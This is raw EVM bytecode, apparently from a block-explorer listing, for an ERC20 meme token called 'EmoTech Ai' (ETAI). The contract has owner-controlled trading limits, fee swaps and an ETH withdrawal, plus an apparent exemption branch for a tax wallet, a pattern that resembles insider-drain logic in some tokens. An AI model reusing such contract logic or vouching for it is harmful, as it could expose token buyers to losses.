fffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8015611b655750600654600b54115b8015611b6e5750805b15611c0157600954821115611b9b57611b9a611b9586611b9085601054611fd7565b611fd7565b611fef565b5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611bff573d5f803e3d5ffd5b505b50505b5f821115611d0357611c5c8260025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461227690919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cfa91906125ac565b60405180910390a35b611d538160025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122d390919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611df6611daa83856122d390919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461227690919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e9985876122d390919063ffffffff16565b604051611ea691906125ac565b60405180910390a35050505050565b5f838311158290611efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef39190612407565b60405180910390fd5b505f8385611f0a919061311c565b9050809150509392505050565b5f808303611f27575f9050611f88565b5f8284611f3491906128d5565b9050828482611f43919061317c565b14611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7a9061321c565b60405180910390fd5b809150505b92915050565b5f611fcf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231c565b905092915050565b5f818311611fe55782611fe7565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f8103156122595760148054906101000a900460ff1615612259575f600267ffffffffffffffff8111156120415761204061323a565b5b60405190808252806020026020018201604052801561206f5781602001602082028036833780820191505090505b50905030815f8151811061208657612085613267565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561212a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061214e9190612992565b8160018151811061216257612161613267565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121c83060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461111c565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161222a95949392919061334b565b5f604051808303815f87803b158015612241575f80fd5b505af1158015612253573d5f803e3d5ffd5b50505050505b5f601460156101000a81548160ff02191690831515021790555050565b5f8082846122849190612fd2565b9050838110156122c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c0906133ed565b60405180910390fd5b8091505092915050565b5f61231483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611eb5565b905092915050565b5f8083118290612362576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123599190612407565b60405180910390fd5b505f8385612370919061317c565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123b4578082015181840152602081019050612399565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6123d98261237d565b6123e38185612387565b93506123f3818560208601612397565b6123fc816123bf565b840191505092915050565b5f6020820190508181035f83015261241f81846123cf565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124548261242b565b9050919050565b6124648161244a565b811461246e575f80fd5b50565b5f8135905061247f8161245b565b92915050565b5f819050919050565b61249781612485565b81146124a1575f80fd5b50565b5f813590506124b28161248e565b92915050565b5f80604083850312156124ce576124cd612427565b5b5f6124db85828601612471565b92505060206124ec858286016124a4565b9150509250929050565b5f8115159050919050565b61250a816124f6565b82525050565b5f6020820190506125235f830184612501565b92915050565b5f819050919050565b5f61254c6125476125428461242b565b612529565b61242b565b9050919050565b5f61255d82612532565b9050919050565b5f61256e82612553565b9050919050565b61257e81612564565b82525050565b5f6020820190506125975f830184612575565b92915050565b6125a681612485565b82525050565b5f6020820190506125bf5f83018461259d565b92915050565b5f805f606084860312156125dc576125db612427565b5b5f6125e986828701612471565b93505060206125fa86828701612471565b925050604061260b868287016124a4565b9150509250925092565b61261e816124f6565b8114612628575f80fd5b50565b5f8135905061263981612615565b92915050565b5f6020828403121561265457612653612427565b5b5f6126618482850161262b565b91505092915050565b5f60ff82169050919050565b61267f8161266a565b82525050565b5f6020820190506126985f830184612676565b92915050565b6126a78161244a565b82525050565b5f6020820190506126c05f83018461269e565b92915050565b5f602082840312156126db576126da612427565b5b5f6126e884828501612471565b91505092915050565b5f806040838503121561270757612706612427565b5b5f61271485828601612471565b925050602061272585828601612471565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156127b15780860481111561278d5761278c61272f565b5b600185161561279c5780820291505b80810290506127aa8561275c565b9450612771565b94509492505050565b5f826127c95760019050612884565b816127d6575f9050612884565b81600181146127ec57600281146127f657612825565b6001915050612884565b60ff8411156128085761280761272f565b5b8360020a91508482111561281f5761281e61272f565b5b50612884565b5060208310610133831016604e8410600b841016171561285a5782820a9050838111156128555761285461272f565b5b612884565b6128678484846001612768565b9250905081840481111561287e5761287d61272f565b5b81810290505b9392505050565b5f61289582612485565b91506128a08361266a565b92506128cd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127ba565b905092915050565b5f6128df82612485565b91506128ea83612485565b92508282026128f881612485565b9150828204841483151761290f5761290e61272f565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61294a602083612387565b915061295582612916565b602082019050919050565b5f6020820190508181035f8301526129778161293e565b9050919050565b5f8151905061298c8161245b565b92915050565b5f602082840312156129a7576129a6612427565b5b5f6129b48482850161297e565b91505092915050565b5f6040820190506129d05f83018561269e565b6129dd602083018461269e565b9392505050565b5f819050919050565b5f612a07612a026129fd846129e4565b612529565b612485565b9050919050565b612a17816129ed565b82525050565b5f60c082019050612a305f83018961269e565b612a3d602083018861259d565b612a4a6040830187612a0e565b612a576060830186612a0e565b612a64608083018561269e565b612a7160a083018461259d565b979650505050505050565b5f81519050612a8a8161248e565b92915050565b5f805f60608486031215612aa757612aa6612427565b5b5f612ab486828701612a7c565b9350506020612ac586828701612a7c565b9250506040612ad686828701612a7c565b9150509250925092565b5f604082019050612af35f83018561269e565b612b00602083018461259d565b9392505050565b5f81519050612b1581612615565b92915050565b5f60208284031215612b3057612b2f612427565b5b5f612b3d84828501612b07565b91505092915050565b7f546f6b656e3a206e6f2045544820746f207472616e73666572000000000000005f82015250565b5f612b7a601983612387565b9150612b8582612b46565b602082019050919050565b5f6020820190508181035f830152612ba781612b6e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c08602483612387565b9150612c1382612bae565b604082019050919050565b5f6020820190508181035f830152612c3581612bfc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c96602283612387565b9150612ca182612c3c565b604082019050919050565b5f6020820190508181035f830152612cc381612c8a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612d24602583612387565b9150612d2f82612cca565b604082019050919050565b5f6020820190508181035f830152612d5181612d18565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612db2602383612387565b9150612dbd82612d58565b604082019050919050565b5f6020820190508181035f830152612ddf81612da6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612e40602983612387565b9150612e4b82612de6565b604082019050919050565b5f6020820190508181035f830152612e6d81612e34565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e00000000000000005f82015250565b5f612ea8601883612387565b9150612eb382612e74565b602082019050919050565b5f6020820190508181035f830152612ed581612e9c565b9050919050565b7f5472616e73666572206e6f7420616c6c6f776564207965742c207472792061675f8201527f61696e20616674657220736f6d652074696d652e000000000000000000000000602082015250565b5f612f36603483612387565b9150612f4182612edc565b604082019050919050565b5f6020820190508181035f830152612f6381612f2a565b9050919050565b7f4d6f7265207468616e206d6178207478000000000000000000000000000000005f82015250565b5f612f9e601083612387565b9150612fa982612f6a565b602082019050919050565b5f6020820190508181035f830152612fcb81612f92565b9050919050565b5f612fdc82612485565b9150612fe783612485565b9250828201905080821115612fff57612ffe61272f565b5b92915050565b7f4d6f7265207468616e206d61782077616c6c65740000000000000000000000005f82015250565b5f613039601483612387565b915061304482613005565b602082019050919050565b5f6020820190508181035f8301526130668161302d565b9050919050565b5f61307782612485565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130a9576130a861272f565b5b600182019050919050565b7f4578636565647320746865205f6d617854782e000000000000000000000000005f82015250565b5f6130e8601383612387565b91506130f3826130b4565b602082019050919050565b5f6020820190508181035f830152613115816130dc565b9050919050565b5f61312682612485565b915061313183612485565b92508282039050818111156131495761314861272f565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61318682612485565b915061319183612485565b9250826131a1576131a061314f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613206602183612387565b9150613211826131ac565b604082019050919050565b5f6020820190508181035f830152613233816131fa565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6132c68161244a565b82525050565b5f6132d783836132bd565b60208301905092915050565b5f602082019050919050565b5f6132f982613294565b613303818561329e565b935061330e836132ae565b805f5b8381101561333e57815161332588826132cc565b9750613330836132e3565b925050600181019050613311565b5085935050505092915050565b5f60a08201905061335e5f83018861259d565b61336b6020830187612a0e565b818103604083015261337d81866132ef565b905061338c606083018561269e565b613399608083018461259d565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6133d7601b83612387565b91506133e2826133a3565b602082019050919050565b5f6020820190508181035f830152613404816133cb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f1bb360950e91dca15159190c095d9f4f3161d497bd0d89d647ac542d1c63c1664736f6c63430008140033000000000000000000000000d52c4df6a6a5294e3f384c7f0ccb94d057a43b65
Deployed Bytecode
0x608060405260043610610138575f3560e01c806365637ed2116100aa5780638da5cb5b1161006e5780638da5cb5b146103c757806395d89b41146103f1578063a9059cbb1461041b578063b8ca2b1314610457578063dd62ed3e14610481578063e5c43633146104bd5761013f565b806365637ed21461030b57806370a0823114610321578063715018a61461035d5780637830b0721461037357806382247ec01461039d5761013f565b806323b872dd116100fc57806323b872dd1461021357806326560be71461024f578063313ce5671461027757806349bd5a5e146102a15780634d54557f146102cb578063515c8db8146102e15761013f565b806306fdde0314610143578063095ea7b31461016d5780631694505e146101a957806318160ddd146101d35780631d150866146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104e7565b6040516101649190612407565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e91906124b8565b610524565b6040516101a09190612510565b60405180910390f35b3480156101b4575f80fd5b506101bd610541565b6040516101ca9190612584565b60405180910390f35b3480156101de575f80fd5b506101e7610566565b6040516101f491906125ac565b60405180910390f35b348015610208575f80fd5b50610211610589565b005b34801561021e575f80fd5b50610239600480360381019061023491906125c5565b610a25565b6040516102469190612510565b60405180910390f35b34801561025a575f80fd5b506102756004803603810190610270919061263f565b610af9565b005b348015610282575f80fd5b5061028b610bc3565b6040516102989190612685565b60405180910390f35b3480156102ac575f80fd5b506102b5610bcb565b6040516102c291906126ad565b60405180910390f35b3480156102d6575f80fd5b506102df610bf0565b005b3480156102ec575f80fd5b506102f5610d0c565b60405161030291906125ac565b60405180910390f35b348015610316575f80fd5b5061031f610d12565b005b34801561032c575f80fd5b50610347600480360381019061034291906126c6565b610e5a565b60405161035491906125ac565b60405180910390f35b348015610368575f80fd5b50610371610ea0565b005b34801561037e575f80fd5b50610387610fee565b60405161039491906125ac565b60405180910390f35b3480156103a8575f80fd5b506103b1610ff4565b6040516103be91906125ac565b60405180910390f35b3480156103d2575f80fd5b506103db610ffa565b6040516103e891906126ad565b60405180910390f35b3480156103fc575f80fd5b50610405611021565b6040516104129190612407565b60405180910390f35b348015610426575f80fd5b50610441600480360381019061043c91906124b8565b61105e565b60405161044e9190612510565b60405180910390f35b348015610462575f80fd5b5061046b61107b565b6040516104789190612510565b60405180910390f35b34801561048c575f80fd5b506104a760048036038101906104a291906126f1565b61108d565b6040516104b491906125ac565b60405180910390f35b3480156104c8575f80fd5b506104d161110f565b6040516104de91906125ac565b60405180910390f35b60606040518060400160405280600a81526020017f456d6f5465636820416900000000000000000000000000000000000000000000815250905090565b5f610537610530611115565b848461111c565b6001905092915050565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6012600a610575919061288b565b6305f5e10061058491906128d5565b905090565b610591611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061490612960565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106b93060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a6106a5919061288b565b6305f5e1006106b491906128d5565b61111c565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610723573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107479190612992565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f19190612992565b6040518363ffffffff1660e01b815260040161080e9291906129bd565b6020604051808303815f875af115801561082a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084e9190612992565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306108d530610e5a565b5f806108df610ffa565b426040518863ffffffff1660e01b815260040161090196959493929190612a1d565b60606040518083038185885af115801561091d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109429190612a90565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109e2929190612ae0565b6020604051808303815f875af11580156109fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a229190612b1b565b50565b5f610a318484846112df565b610aee84610a3d611115565b610ae98560405180606001604052806028815260200161340c6028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610aa0611115565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611eb59092919063ffffffff16565b61111c565b600190509392505050565b610b01611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8490612960565b60405180910390fd5b80601460166101000a81548160ff021916908315150217905550806014806101000a81548160ff02191690831515021790555050565b5f6012905090565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bf8611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b90612960565b60405180910390fd5b5f4711610cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbd90612b90565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d09573d5f803e3d5ffd5b50565b60105481565b610d1a611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d90612960565b60405180910390fd5b6012600a610db4919061288b565b6305f5e100610dc391906128d5565b6011819055506012600a610dd7919061288b565b6305f5e100610de691906128d5565b6012819055505f600a5f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610e34919061288b565b6305f5e100610e4391906128d5565b604051610e5091906125ac565b60405180910390a1565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ea8611115565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612960565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60125481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4554414900000000000000000000000000000000000000000000000000000000815250905090565b5f61107161106a611115565b84846112df565b6001905092915050565b600a5f9054906101000a900460ff1681565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361118a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118190612c1e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ef90612cac565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d291906125ac565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361134d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134490612d3a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b290612dc8565b60405180910390fd5b5f81116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612e56565b60405180910390fd5b5f8082905061140a610ffa565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156114785750611448610ffa565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114b057503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611c045760085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611553575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115a65760148054906101000a900460ff166115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90612ebe565b60405180910390fd5b5b600a5f9054906101000a900460ff161561172c5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611664575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561172b574360015f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df90612f4c565b60405180910390fd5b4360015f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156117d5575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611828575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156118e257601154831115611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612fb4565b60405180910390fd5b6012548361187f86610e5a565b6118899190612fd2565b11156118ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c19061304f565b60405180910390fd5b600b5f8154809291906118dc9061306d565b91905055505b61191e6064611910600c54600b54116118fd57600454611901565b600e545b86611f1790919063ffffffff16565b611f8e90919063ffffffff16565b915060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119a857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611aa75760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611a2257611a1883611a13600e54600954611fd7565b611fd7565b90505f9150611aa6565b601154831115611a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5e906130fe565b60405180910390fd5b611aa36064611a95600d54600b5411611a8257600554611a86565b600f545b86611f1790919063ffffffff16565b611f8e90919063ffffffff16565b91505b5b5f611ab130610e5a565b90505f600654600b54118015611ad35750611ace85600954611fd7565b600954145b9050601460169054906101000a900460ff168015611afe5750601460159054906101000a900460ff16155b8015611b56575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8015611b655750600654600b54115b8015611b6e5750805b15611c0157600954821115611b9b57611b9a611b9586611b9085601054611fd7565b611fd7565b611fef565b5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611bff573d5f803e3d5ffd5b505b50505b5f821115611d0357611c5c8260025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461227690919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cfa91906125ac565b60405180910390a35b611d538160025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122d390919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611df6611daa83856122d390919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461227690919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e9985876122d390919063ffffffff16565b604051611ea691906125ac565b60405180910390a35050505050565b5f838311158290611efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef39190612407565b60405180910390fd5b505f8385611f0a919061311c565b9050809150509392505050565b5f808303611f27575f9050611f88565b5f8284611f3491906128d5565b9050828482611f43919061317c565b14611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7a9061321c565b60405180910390fd5b809150505b92915050565b5f611fcf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231c565b905092915050565b5f818311611fe55782611fe7565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f8103156122595760148054906101000a900460ff1615612259575f600267ffffffffffffffff8111156120415761204061323a565b5b60405190808252806020026020018201604052801561206f5781602001602082028036833780820191505090505b50905030815f8151811061208657612085613267565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561212a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061214e9190612992565b8160018151811061216257612161613267565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121c83060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461111c565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161222a95949392919061334b565b5f604051808303815f87803b158015612241575f80fd5b505af1158015612253573d5f803e3d5ffd5b50505050505b5f601460156101000a81548160ff02191690831515021790555050565b5f8082846122849190612fd2565b9050838110156122c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c0906133ed565b60405180910390fd5b8091505092915050565b5f61231483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611eb5565b905092915050565b5f8083118290612362576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123599190612407565b60405180910390fd5b505f8385612370919061317c565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156123b4578082015181840152602081019050612399565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6123d98261237d565b6123e38185612387565b93506123f3818560208601612397565b6123fc816123bf565b840191505092915050565b5f6020820190508181035f83015261241f81846123cf565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124548261242b565b9050919050565b6124648161244a565b811461246e575f80fd5b50565b5f8135905061247f8161245b565b92915050565b5f819050919050565b61249781612485565b81146124a1575f80fd5b50565b5f813590506124b28161248e565b92915050565b5f80604083850312156124ce576124cd612427565b5b5f6124db85828601612471565b92505060206124ec858286016124a4565b9150509250929050565b5f8115159050919050565b61250a816124f6565b82525050565b5f6020820190506125235f830184612501565b92915050565b5f819050919050565b5f61254c6125476125428461242b565b612529565b61242b565b9050919050565b5f61255d82612532565b9050919050565b5f61256e82612553565b9050919050565b61257e81612564565b82525050565b5f6020820190506125975f830184612575565b92915050565b6125a681612485565b82525050565b5f6020820190506125bf5f83018461259d565b92915050565b5f805f60608486